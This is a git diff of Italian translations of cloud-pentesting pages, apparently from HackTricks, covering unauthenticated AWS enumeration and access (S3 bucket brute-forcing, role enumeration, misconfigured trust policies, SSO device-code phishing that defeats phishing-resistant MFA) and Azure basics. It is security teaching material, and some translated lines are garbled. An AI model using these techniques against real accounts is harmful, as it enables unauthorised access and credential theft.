autenticati** che conoscono semplicemente **l'ID del Pool di Identità** (che è abbastanza comune **trovare**), e un attaccante con queste informazioni potrebbe cercare di **accedere a quel ruolo IAM** e sfruttarlo.\ Inoltre, i ruoli IAM potrebbero anche essere assegnati a **utenti autenticati** che accedono al Pool di Identità. Se un attaccante può **registrare un utente** o ha già **accesso al fornitore di identità** utilizzato nel pool di identità, potrebbe accedere al **ruolo IAM assegnato agli utenti autenticati** e abusare dei suoi privilegi. -[**Controlla come farlo qui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). +[**Controlla come fare qui**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). ### ID del Pool Utenti -Per impostazione predefinita, Cognito consente di **registrare nuovi utenti**. Essere in grado di registrare un utente potrebbe darti **accesso** all'**applicazione sottostante** o al **ruolo di accesso IAM autenticato di un Pool di Identità** che accetta come fornitore di identità il Pool Utenti di Cognito. [**Controlla come farlo qui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). +Per impostazione predefinita, Cognito consente di **registrare nuovi utenti**. Essere in grado di registrare un utente potrebbe darti **accesso** all'**applicazione sottostante** o al **ruolo di accesso IAM autenticato di un Pool di Identità** che accetta come fornitore di identità il Pool Utenti di Cognito. [**Controlla come fare qui**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). ### Moduli Pacu per pentesting e enumerazione [Pacu](https://github.com/RhinoSecurityLabs/pacu), il framework di sfruttamento AWS, ora include i moduli "cognito\_\_enum" e "cognito\_\_attack" che automatizzano l'enumerazione di tutte le risorse Cognito in un account e segnalano configurazioni deboli, attributi utente utilizzati per il controllo degli accessi, ecc., e automatizzano anche la creazione di utenti (incluso il supporto MFA) e l'escalation dei privilegi basata su attributi personalizzati modificabili, credenziali del pool di identità utilizzabili, ruoli assunti nei token id, ecc. -Per una descrizione delle funzioni dei moduli, vedi la parte 2 del [post del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione, vedi la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu). +Per una descrizione delle funzioni dei moduli, vedere la parte 2 del [post del blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Per le istruzioni di installazione, vedere la pagina principale di [Pacu](https://github.com/RhinoSecurityLabs/pacu). #### Utilizzo diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index d5d9e5f3b..555c88e4e 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Enum Non Autenticato {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index 58cd602b1..655a96504 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Enum Non Autenticato {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index 72e4c0661..5d7f4249b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Enum Non Autenticato {{#include ../../../banners/hacktricks-training.md}} @@ -10,7 +10,7 @@ Per ulteriori informazioni controlla: ../aws-services/aws-ecs-enum.md {{#endref}} -### Gruppo di Sicurezza o Load Balancer Pubblicamente Accessibile per i Servizi ECS +### Gruppo di Sicurezza o Bilanciatore di Carico Accessibile Pubblicamente per i Servizi ECS Un gruppo di sicurezza mal configurato che **consente il traffico in entrata da internet (0.0.0.0/0 o ::/0)** ai servizi Amazon ECS potrebbe esporre le risorse AWS ad attacchi. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md index ebcc35c8e..739383159 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md @@ -15,7 +15,7 @@ > > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Tentare di **assumere un ruolo senza le autorizzazioni necessarie** attiva un messaggio di errore AWS. Ad esempio, se non autorizzato, AWS potrebbe restituire: +Tentare di **assumere un ruolo senza le autorizzazioni necessarie** attiva un messaggio di errore di AWS. Ad esempio, se non autorizzato, AWS potrebbe restituire: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` @@ -23,13 +23,13 @@ Questo messaggio conferma l'esistenza del ruolo ma indica che la sua policy di a ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` -Interessantemente, questo metodo di **distinguere tra ruoli esistenti e non esistenti** è applicabile anche tra diversi account AWS. Con un ID account AWS valido e una wordlist mirata, è possibile enumerare i ruoli presenti nell'account senza affrontare limitazioni intrinseche. +Interessantemente, questo metodo di **distinguere tra ruoli esistenti e non esistenti** è applicabile anche tra diversi account AWS. Con un ID account AWS valido e una wordlist mirata, è possibile enumerare i ruoli presenti nell'account senza affrontare alcuna limitazione intrinseca. -Puoi utilizzare questo [script per enumerare potenziali principi](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) abusando di questo problema. +Puoi usare questo [script per enumerare i potenziali principi](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) sfruttando questo problema. -### Politiche di Fiducia: Brute-Force ruoli e utenti cross account +### Politiche di Fiducia: Brute-Force ruoli e utenti Cross Account -Configurare o aggiornare una **politica di fiducia di un ruolo IAM comporta la definizione di quali risorse o servizi AWS sono autorizzati ad assumere quel ruolo** e ottenere credenziali temporanee. Se la risorsa specificata nella politica **esiste**, la politica di fiducia viene salvata **con successo**. Tuttavia, se la risorsa **non esiste**, viene generato un **errore**, indicando che è stato fornito un principale non valido. +Configurare o aggiornare la **politica di fiducia di un ruolo IAM implica definire quali risorse o servizi AWS sono autorizzati ad assumere quel ruolo** e ottenere credenziali temporanee. Se la risorsa specificata nella politica **esiste**, la politica di fiducia viene salvata **con successo**. Tuttavia, se la risorsa **non esiste**, viene generato un **errore**, indicando che è stato fornito un principale non valido. > [!WARNING] > Nota che in quella risorsa potresti specificare un ruolo o un utente cross account: @@ -118,7 +118,7 @@ Nel caso in cui il ruolo fosse configurato male e consenta a chiunque di assumer ] } ``` -L'attaccante potrebbe semplicemente assumerlo. +L'attaccante potrebbe semplicemente presumere. ## Federazione OIDC di terze parti @@ -152,7 +152,7 @@ Un'altra potenziale misconfigurazione è **aggiungere una condizione** come la s "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Nota che il **carattere jolly** (\*) prima dei **due punti** (:). Puoi creare un'organizzazione come **org_name1** e **assumere il ruolo** da un'azione Github. +Nota che **wildcard** (\*) prima dei **due punti** (:). Puoi creare un org come **org_name1** e **assumere il ruolo** da un'azione Github. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 4a16206f7..857d3c525 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -56,7 +56,7 @@ Invia il link generato alla vittima utilizzando le tue fantastiche abilità di i 3. **Aspetta che la vittima lo accetti** -Se la vittima era **già loggata in AWS** dovrà solo accettare di concedere i permessi, se non lo era, dovrà **accedere e poi accettare di concedere i permessi**.\ +Se la vittima era **già loggata in AWS**, dovrà solo accettare di concedere i permessi; se non lo era, dovrà **effettuare il login e poi accettare di concedere i permessi**.\ Questo è come appare il prompt al giorno d'oggi:
@@ -102,9 +102,9 @@ accountId= ) sts_creds.get('roleCredentials') ``` -### Phishing l'MFA "unphishable" +### Phishing l'MFA non phishingabile -È divertente sapere che il precedente attacco **funziona anche se viene utilizzato un "MFA unphishable" (webAuth)**. Questo perché il **workflow precedente non esce mai dal dominio OAuth utilizzato**. A differenza di altri attacchi di phishing in cui l'utente deve sostituire il dominio di accesso, nel caso il workflow del codice dispositivo è preparato in modo che un **codice sia conosciuto da un dispositivo** e l'utente può accedere anche su una macchina diversa. Se accetta il prompt, il dispositivo, semplicemente **conoscendo il codice iniziale**, sarà in grado di **recuperare le credenziali** per l'utente. +È divertente sapere che il precedente attacco **funziona anche se viene utilizzato un "MFA non phishingabile" (webAuth)**. Questo perché il **workflow precedente non esce mai dal dominio OAuth utilizzato**. A differenza di altri attacchi di phishing in cui l'utente deve sostituire il dominio di accesso, nel caso il workflow del codice dispositivo è preparato in modo che un **codice sia conosciuto da un dispositivo** e l'utente può accedere anche su una macchina diversa. Se accetta il prompt, il dispositivo, semplicemente **conoscendo il codice iniziale**, sarà in grado di **recuperare le credenziali** per l'utente. Per ulteriori informazioni su questo [**controlla questo post**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index 6ee692108..af6919cc8 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,19 +1,19 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Accesso non autenticato a Lambda {{#include ../../../banners/hacktricks-training.md}} -## URL della Funzione Pubblica +## URL della funzione pubblica È possibile collegare un **Lambda** a un **URL della funzione pubblica** a cui chiunque può accedere. Potrebbe contenere vulnerabilità web. -### Modello di URL Pubblico +### Modello di URL pubblico ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` ### Ottieni l'ID dell'account dall'URL pubblico di Lambda Proprio come con i bucket S3, Data Exchange e API gateway, è possibile trovare l'ID dell'account di un account abusando della **`aws:ResourceAccount`** **Policy Condition Key** da un URL lambda pubblico. Questo viene fatto trovando l'ID dell'account un carattere alla volta abusando dei caratteri jolly nella sezione **`aws:ResourceAccount`** della policy.\ -Questa tecnica consente anche di ottenere **valori di tag** se conosci la chiave del tag (ce ne sono alcune predefinite interessanti). +Questa tecnica consente anche di ottenere **valori dei tag** se conosci la chiave del tag (ce ne sono alcuni predefiniti interessanti). Puoi trovare ulteriori informazioni nella [**ricerca originale**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) e nello strumento [**conditional-love**](https://github.com/plerionhq/conditional-love/) per automatizzare questa sfruttamento. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index 43009e332..e726bb768 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -6,7 +6,7 @@ È possibile **esporre il broker Kafka al pubblico**, ma avrai bisogno di **credenziali**, permessi IAM o un certificato valido (a seconda del metodo di autenticazione configurato). -È anche **possibile disabilitare l'autenticazione**, ma in quel caso **non è possibile esporre direttamente** la porta a Internet. +È anche **possibile disabilitare l'autenticazione**, ma in quel caso **non è possibile esporre direttamente** la porta su Internet. ### Modello di URL Pubblico ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 2415775c3..2b7b8bba5 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - RDS Unauthenticated Enum +# AWS - RDS Enumerazione Non Autenticata {{#include ../../../banners/hacktricks-training.md}} @@ -12,11 +12,11 @@ Per ulteriori informazioni controlla: ## Porta Pubblica -È possibile dare accesso pubblico al **database da internet**. L'attaccante avrà comunque bisogno di **conoscere il nome utente e la password,** l'accesso IAM, o un **exploit** per entrare nel database. +È possibile fornire accesso pubblico al **database da internet**. L'attaccante avrà comunque bisogno di **conoscere il nome utente e la password,** l'accesso IAM, o un **exploit** per entrare nel database. ## Snapshot RDS Pubblici -AWS consente di dare **accesso a chiunque per scaricare gli snapshot RDS**. Puoi elencare questi snapshot RDS pubblici molto facilmente dal tuo stesso account: +AWS consente di dare **accesso a chiunque per scaricare gli snapshot RDS**. Puoi elencare questi snapshot RDS pubblici molto facilmente dal tuo account: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 76e506590..570b5d1fe 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -6,7 +6,7 @@ Un bucket è considerato **“pubblico”** se **qualunque utente può elencare i contenuti** del bucket, e **“privato”** se i contenuti del bucket possono **essere elencati o scritti solo da determinati utenti**. -Le aziende potrebbero avere **permessi dei bucket mal configurati** che danno accesso sia a tutto che a chiunque sia autenticato in AWS in qualsiasi account (quindi a chiunque). Nota che, anche con tali mal configurazioni, alcune azioni potrebbero non essere eseguibili poiché i bucket potrebbero avere le proprie liste di controllo degli accessi (ACL). +Le aziende potrebbero avere **permessi dei bucket mal configurati** che danno accesso o a tutto o a chiunque sia autenticato in AWS in qualsiasi account (quindi a chiunque). Nota che, anche con tali mal configurazioni, alcune azioni potrebbero non essere eseguibili poiché i bucket potrebbero avere le proprie liste di controllo degli accessi (ACL). **Scopri di più sulla mal configurazione di AWS-S3 qui:** [**http://flaws.cloud**](http://flaws.cloud/) **e** [**http://flaws2.cloud/**](http://flaws2.cloud) @@ -27,7 +27,7 @@ http://[bucket_name].s3.amazonaws.com/ - Controlla i **CNAMES** poiché `resources.domain.com` potrebbe avere il CNAME `bucket.s3.amazonaws.com` - Controlla [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), un sito con già **bucket aperti scoperti**. -- Il **nome del bucket** e il **nome del dominio del bucket** devono essere **gli stessi.** +- Il **nome del bucket** e il **nome di dominio del bucket** devono essere **gli stessi.** - **flaws.cloud** si trova in **IP** 52.92.181.107 e se ci vai ti reindirizza a [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Inoltre, `dig -x 52.92.181.107` restituisce `s3-website-us-west-2.amazonaws.com`. - Per controllare se è un bucket puoi anche **visitare** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). @@ -45,33 +45,33 @@ Puoi trovare bucket **forzando i nomi** relativi all'azienda che stai testando: - [https://github.com/Eilonh/s3crets_scanner](https://github.com/Eilonh/s3crets_scanner) - [https://github.com/belane/CloudHunter](https://github.com/belane/CloudHunter) -
# Genera una wordlist per creare permutazioni
+
# Generate a wordlist to create permutations
 curl -s https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt > /tmp/words-s3.txt.temp
 curl -s https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt >>/tmp/words-s3.txt.temp
 cat /tmp/words-s3.txt.temp | sort -u > /tmp/words-s3.txt
 
-# Genera una wordlist basata sui domini e sottodomini da testare
-## Scrivi quei domini e sottodomini in subdomains.txt
+# Generate a wordlist based on the domains and subdomains to test
+## Write those domains and subdomains in subdomains.txt
 cat subdomains.txt > /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "-" >> /tmp/words-hosts-s3.txt
 cat subdomains.txt | tr "." "\n" | sort -u >> /tmp/words-hosts-s3.txt
 
-# Crea permutazioni basate su un elenco con i domini e sottodomini da attaccare
+# Create permutations based in a list with the domains and subdomains to attack
 goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3.txt.temp
-## Lo strumento precedente è specializzato nella creazione di permutazioni per sottodomini, filtriamo quell'elenco
-### Rimuovi le righe che terminano con "."
+## The previous tool is specialized increating permutations for subdomains, lets filter that list
+### Remove lines ending with "."
 cat /tmp/final-words-s3.txt.temp | grep -Ev "\.$" > /tmp/final-words-s3.txt.temp2
-### Crea un elenco senza TLD
+### Create list without TLD
 cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3
-### Crea un elenco senza punti
+### Create list without dots
 cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/
-### Crea un elenco senza trattini
+### Create list without hyphens
 cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5
 
-## Genera la wordlist finale
+## Generate the final wordlist
 cat /tmp/final-words-s3.txt.temp2 /tmp/final-words-s3.txt.temp3 /tmp/final-words-s3.txt.temp4 /tmp/final-words-s3.txt.temp5 | grep -v -- "-\." | awk '{print tolower($0)}' | sort -u > /tmp/final-words-s3.txt
 
-## Chiama s3scanner
+## Call s3scanner
 s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt  | grep bucket_exists
 

 
@@ -101,7 +101,7 @@ oppure puoi accedere al bucket visitando: `flaws.cloud.s3-us-west-2.amazonaws.co
 
 #### Provando
 
-Se provi ad accedere a un bucket, ma nel **nome del dominio specifichi un'altra regione** (ad esempio il bucket è in `bucket.s3.amazonaws.com` ma provi ad accedere a `bucket.s3-website-us-west-2.amazonaws.com`, allora ti verrà **indicato il luogo corretto**:
+Se provi ad accedere a un bucket, ma nel **nome di dominio specifichi un'altra regione** (ad esempio, il bucket è in `bucket.s3.amazonaws.com` ma provi ad accedere a `bucket.s3-website-us-west-2.amazonaws.com`, allora ti verrà **indicato il luogo corretto**:
 
 ![](<../../../images/image (106).png>)
 
@@ -125,7 +125,7 @@ Puoi anche controllare questo con il cli:
 #Opcionally you can select the region if you now it
 aws s3 ls s3://flaws.cloud/ [--no-sign-request] [--profile ] [ --recursive] [--region us-west-2]
 ```
-Se il bucket non ha un nome di dominio, quando si tenta di enumerarlo, **inserire solo il nome del bucket** e non l'intero dominio AWSs3. Esempio: `s3://`
+Se il bucket non ha un nome di dominio, quando si cerca di enumerarlo, **inserire solo il nome del bucket** e non l'intero dominio AWSs3. Esempio: `s3://`
 
 ### Modello di URL pubblico
 ```
@@ -133,7 +133,7 @@ https://{user_provided}.s3.amazonaws.com
 ```
 ### Ottieni l'ID dell'account da un Bucket pubblico
 
-È possibile determinare un account AWS sfruttando il nuovo **`S3:ResourceAccount`** **Policy Condition Key**. Questa condizione **limita l'accesso in base al bucket S3** in cui si trova un account (altre politiche basate su account limitano in base all'account in cui si trova il principale richiedente).\
+È possibile determinare un account AWS sfruttando il nuovo **`S3:ResourceAccount`** **Policy Condition Key**. Questa condizione **limita l'accesso in base al bucket S3** in cui si trova un account (altre politiche basate sull'account limitano in base all'account in cui si trova il principale richiedente).\
 E poiché la politica può contenere **caratteri jolly**, è possibile trovare il numero dell'account **solo un numero alla volta**.
 
 Questo strumento automatizza il processo:
@@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \
 
 ...
 ```
-Se l'errore è un "Access Denied", significa che l'ID dell'account era errato.
+Se l'errore è "Access Denied" significa che l'ID dell'account era errato.
 
 ### Utilizzo delle email come enumerazione dell'account root
 
-Come spiegato in [**questo post del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), è possibile verificare se un indirizzo email è associato a un qualsiasi account AWS **cercando di concedere a un'email permessi** su un bucket S3 tramite ACL. Se questo non genera un errore, significa che l'email è un utente root di qualche account AWS:
+Come spiegato in [**questo post del blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), è possibile verificare se un indirizzo email è associato a un account AWS **cercando di concedere a un'email permessi** su un bucket S3 tramite ACL. Se questo non genera un errore, significa che l'email è un utente root di qualche account AWS:
 ```python
 s3_client.put_bucket_acl(
 Bucket=bucket_name,
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
index 5ddb20fd5..0fdf0498d 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
@@ -4,7 +4,7 @@
 
 ## SNS
 
-Per ulteriori informazioni su SNS controlla:
+Per ulteriori informazioni su SNS consulta:
 
 {{#ref}}
 ../aws-services/aws-sns-enum.md
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
index 818862b60..4bdb3c787 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
@@ -10,12 +10,12 @@ Per ulteriori informazioni su SQS controlla:
 ../aws-services/aws-sqs-and-sns-enum.md
 {{#endref}}
 
-### Modello di URL pubblico
+### Modello URL pubblico
 ```
 https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
 ```
 ### Controlla i Permessi
 
-È possibile configurare in modo errato una politica della coda SQS e concedere permessi a tutti in AWS per inviare e ricevere messaggi, quindi se ottieni l'ARN delle code prova a vedere se puoi accedervi.
+È possibile configurare in modo errato una policy della coda SQS e concedere permessi a tutti in AWS per inviare e ricevere messaggi, quindi se ottieni l'ARN delle code prova a vedere se puoi accedervi.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md
index 1dabeab3a..e66644a96 100644
--- a/src/pentesting-cloud/azure-security/README.md
+++ b/src/pentesting-cloud/azure-security/README.md
@@ -14,7 +14,7 @@ Per auditare un ambiente AZURE è molto importante sapere: quali **servizi vengo
 
 Dal punto di vista di un Red Team, il **primo passo per compromettere un ambiente Azure** è riuscire a ottenere alcune **credenziali** per Azure AD. Ecco alcune idee su come farlo:
 
-- **Leak** su github (o simili) - OSINT
+- **Leaks** in github (o simili) - OSINT
 - **Ingegneria** Sociale
 - Riutilizzo della **Password** (leak di password)
 - Vulnerabilità nelle Applicazioni Ospitate su Azure
@@ -22,7 +22,7 @@ Dal punto di vista di un Red Team, il **primo passo per compromettere un ambient
 - **Lettura di File Locali**
 - `/home/USERNAME/.azure`
 - `C:\Users\USERNAME\.azure`
-- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gen2022 - memorizzava **token di accesso in chiaro**
+- Il file **`accessTokens.json`** in `az cli` prima della versione 2.30 - Gennaio 2022 - memorizzava **token di accesso in chiaro**
 - Il file **`azureProfile.json`** contiene **info** sull'utente connesso.
 - **`az logout`** rimuove il token.
 - Le versioni precedenti di **`Az PowerShell`** memorizzavano **token di accesso** in **chiaro** in **`TokenCache.dat`**. Memorizza anche il **ServicePrincipalSecret** in **chiaro** in **`AzureRmContext.json`**. Il cmdlet **`Save-AzContext`** può essere utilizzato per **memorizzare** **token**.\
@@ -63,12 +63,12 @@ Nei casi in cui hai alcune credenziali valide ma non riesci a effettuare il logi
 
 - **Whitelist IP** -- Devi compromettere un IP valido
 - **Restrizioni Geografiche** -- Scopri dove vive l'utente o dove si trovano gli uffici dell'azienda e ottieni un IP dalla stessa città (o paese almeno)
-- **Browser** -- Forse è consentito solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS). Scopri quale OS utilizza la vittima/azienda.
+- **Browser** -- Forse solo un browser di un certo OS (Windows, Linux, Mac, Android, iOS) è consentito. Scopri quale OS utilizza la vittima/azienda.
 - Puoi anche provare a **compromettere le credenziali del Service Principal** poiché di solito sono meno limitate e il loro login è meno controllato
 
 Dopo averlo bypassato, potresti essere in grado di tornare alla tua configurazione iniziale e avrai ancora accesso.
 
-### Presa di Sottodominio
+### Presa di Controllo di Sottodomini
 
 - [https://godiego.co/posts/STO-Azure/](https://godiego.co/posts/STO-Azure/)
 
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md
index 585f14869..34c2b55cd 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/README.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md
@@ -9,7 +9,7 @@
 ### Gruppi di Gestione
 
 - Può contenere **altri gruppi di gestione o sottoscrizioni**.
-- Questo consente di **applicare controlli di governance** come RBAC e Azure Policy una sola volta a livello di gruppo di gestione e farli **ereditar** da tutte le sottoscrizioni nel gruppo.
+- Questo consente di **applicare controlli di governance** come RBAC e Azure Policy una sola volta a livello di gruppo di gestione e farli **ereditarie** da tutte le sottoscrizioni nel gruppo.
 - Possono essere supportati **10.000 gruppi di gestione** in una singola directory.
 - Un albero di gruppi di gestione può supportare **fino a sei livelli di profondità**. Questo limite non include il livello radice o il livello di sottoscrizione.
 - Ogni gruppo di gestione e sottoscrizione può supportare **solo un genitore**.
@@ -21,14 +21,14 @@
 
 ### Sottoscrizioni Azure
 
-- È un altro **contenitore logico in cui possono essere eseguite e fatturate risorse** (VM, DB…).
+- È un altro **contenitore logico in cui possono essere eseguite risorse** (VM, DB…) e verrà fatturato.
 - Il suo **genitore** è sempre un **gruppo di gestione** (e può essere il gruppo di gestione radice) poiché le sottoscrizioni non possono contenere altre sottoscrizioni.
 - **Fiducia solo in un directory Entra ID**
 - Le **autorizzazioni** applicate a livello di sottoscrizione (o a qualsiasi dei suoi genitori) sono **ereditarie** a tutte le risorse all'interno della sottoscrizione.
 
 ### Gruppi di Risorse
 
-[Dal documento:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un gruppo di risorse è un **contenitore** che contiene **risorse correlate** per una soluzione Azure. Il gruppo di risorse può includere tutte le risorse per la soluzione, o solo quelle **risorse che desideri gestire come un gruppo**. In generale, aggiungi **risorse** che condividono il **stesso ciclo di vita** allo stesso gruppo di risorse in modo da poterle facilmente distribuire, aggiornare ed eliminare come un gruppo.
+[Dal documento:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Un gruppo di risorse è un **contenitore** che contiene **risorse correlate** per una soluzione Azure. Il gruppo di risorse può includere tutte le risorse per la soluzione, o solo quelle **risorse che si desidera gestire come un gruppo**. In generale, aggiungi **risorse** che condividono lo **stesso ciclo di vita** allo stesso gruppo di risorse in modo da poterle facilmente distribuire, aggiornare ed eliminare come un gruppo.
 
 Tutte le **risorse** devono essere **all'interno di un gruppo di risorse** e possono appartenere solo a un gruppo e se un gruppo di risorse viene eliminato, tutte le risorse al suo interno vengono anch'esse eliminate.
 
@@ -60,19 +60,19 @@ Entra ID è un servizio di **gestione dell'identità e degli accessi basato su c
 
 I Servizi di Dominio Entra estendono le capacità di Entra ID offrendo **servizi di dominio gestiti compatibili con gli ambienti tradizionali di Windows Active Directory**. Supporta protocolli legacy come LDAP, Kerberos e NTLM, consentendo alle organizzazioni di migrare o eseguire applicazioni più vecchie nel cloud senza dover distribuire controller di dominio on-premises. Questo servizio supporta anche le Group Policy per la gestione centralizzata, rendendolo adatto a scenari in cui carichi di lavoro legacy o basati su AD devono coesistere con ambienti cloud moderni.
 
-## Principali di Entra ID
+## Principali Entra ID
 
 ### Utenti
 
 - **Nuovi utenti**
-- Indica nome email e dominio dal tenant selezionato
-- Indica nome visualizzato
-- Indica password
-- Indica proprietà (nome, titolo di lavoro, informazioni di contatto…)
+- Indica il nome e il dominio dell'email dal tenant selezionato
+- Indica il nome visualizzato
